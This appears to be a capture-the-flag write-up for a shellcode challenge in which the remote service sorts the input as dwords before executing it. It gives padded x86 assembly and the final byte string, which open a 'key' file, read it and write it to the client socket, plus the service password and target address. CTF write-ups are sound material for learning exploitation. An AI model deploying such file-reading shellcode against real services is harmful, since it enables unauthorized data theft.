This challenge was not an exploitation challenge but rather shellcode writing with some constraints.

First the remote service wants to receive a password: “3c56bc31268ac65f”. After that it will read from the socket fd 1024 bytes into a buffer on the stack. This buffer will be sorted as an array of dwords, this job is done by the function at 0x08048A00. Finally the service will call our buffer (exec-stack enabled), so the idea is to send a simple shellcode that will do the following c code after being sorted:

open("key", O_RDONLY);
read(fd, stack_ptr, 0xFF);
write(socket_fd_client, stack_ptr, 0xFF);

We know that socket_fd will always be 4, and we will have to reverse some locations on the stack to store bytes read from the key file. So, we started by working on a simple shellcode which does this stuff, and we modified it to be able to be sorted without breaking the code flow.

We managed to do it by putting padding with useless x86 instruction that didn’t affect the flow of the shellcode (like inserting some NOPs; and register register; add value to unused register; …)

We used radare (rasm2) and looked at the ref.x86asm.net website since there are multiple ways to represent the same instruction:


> rasm2 -d "0ac0"
or al, al
> as --32 test.S -o test.o ; objdump -d ./test.o

./test.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
    0:   08 c0                   or     %al,%al

After mixing all of these stuff, here is the final result:


# open
push %esp
pop %ecx
add $0x01, %al
pusha
nop
add $0x1, %al
pusha
nop
add $0x1, %al
pusha
nop
add $0x1, %al
nop
nop
push $0x079656b03
add $0x3, %al
pop %ebx
nop
add $0x5, %al
nop
nop
add $0x5, %al
shr $4, %ebx
nop
shr $4, %ebx
push %ebx
add $0xCC, %al
or %al, %al
mov %esp, %edx
or %al, %al
xor %eax,%eax
or %eax, %eax
push %eax
stc
or %eax, %eax
push %edx
stc
or %eax, %eax
mov $0xf, %al
.byte 0xa # or al, al
.byte 0xc0
push %eax
.byte 0x34
.byte 0xa
int $0x80

# read
.byte 0x34
.byte 0xb
nop
nop
.byte 0x34
.byte 0xb
mov %eax, %edx
.byte 0x34
.byte 0xb
xor %eax,%eax
.byte 0x24
.byte 0x0c
movb $0xfd, %al
push %eax
push %ecx
nop
nop
nop
push %edx
nop
nop
nop
.byte 0x87
.byte 0xf7
mov $0x3, %al
nop
push %eax
int $0x80
nop

# write
xor %eax,%eax
movb $0x90, %al
push %eax
push %ecx
.byte 0xb2
.byte 0x90
push $0x4
.byte 0xA8
.byte 0x91
mov $0x4, %al
push %eax
int $0x80
.byte 0xfd
.byte 0xfd
.byte 0xfd

And by using a script to extract the compiled shellcode, we can see that it is correctly sorted and test that it works properly:

shellcode = \
    "\x54\x59\x04\x01" + \
    "\x60\x90\x04\x01" + \
    "\x60\x90\x04\x01" + \
    "\x60\x90\x04\x01" + \
    "\x90\x90\x68\x03" + \
    "\x6b\x65\x79\x04" + \
    "\x03\x5b\x90\x04" + \
    "\x05\x90\x90\x04" + \
    "\x05\xc1\xeb\x04" + \
    "\x90\xc1\xeb\x04" + \
    "\x53\x04\xcc\x08" + \
    "\xc0\x89\xe2\x08" + \
    "\xc0\x31\xc0\x09" + \
    "\xc0\x50\xf9\x09" + \
    "\xc0\x52\xf9\x09" + \
    "\xc0\xb0\x0f\x0a" + \
    "\xc0\x50\x34\x0a" + \
    "\xcd\x80\x34\x0b" + \
    "\x90\x90\x34\x0b" + \
    "\x89\xc2\x34\x0b" + \
    "\x31\xc0\x24\x0c" + \
    "\xb0\xfd\x50\x51" + \
    "\x90\x90\x90\x52" + \
    "\x90\x90\x90\x87" + \
    "\xf7\xb0\x03\x90" + \
    "\x50\xcd\x80\x90" + \
    "\x31\xc0\xb0\x90" + \
    "\x50\x51\xb2\x90" + \
    "\x6a\x04\xa8\x91" + \
    "\xb0\x04\x50\xcd" + \
    "\x80\xfd\xfd\xfd

We send it on port 7548 at address 140.197.217.155 and we received the key as expected.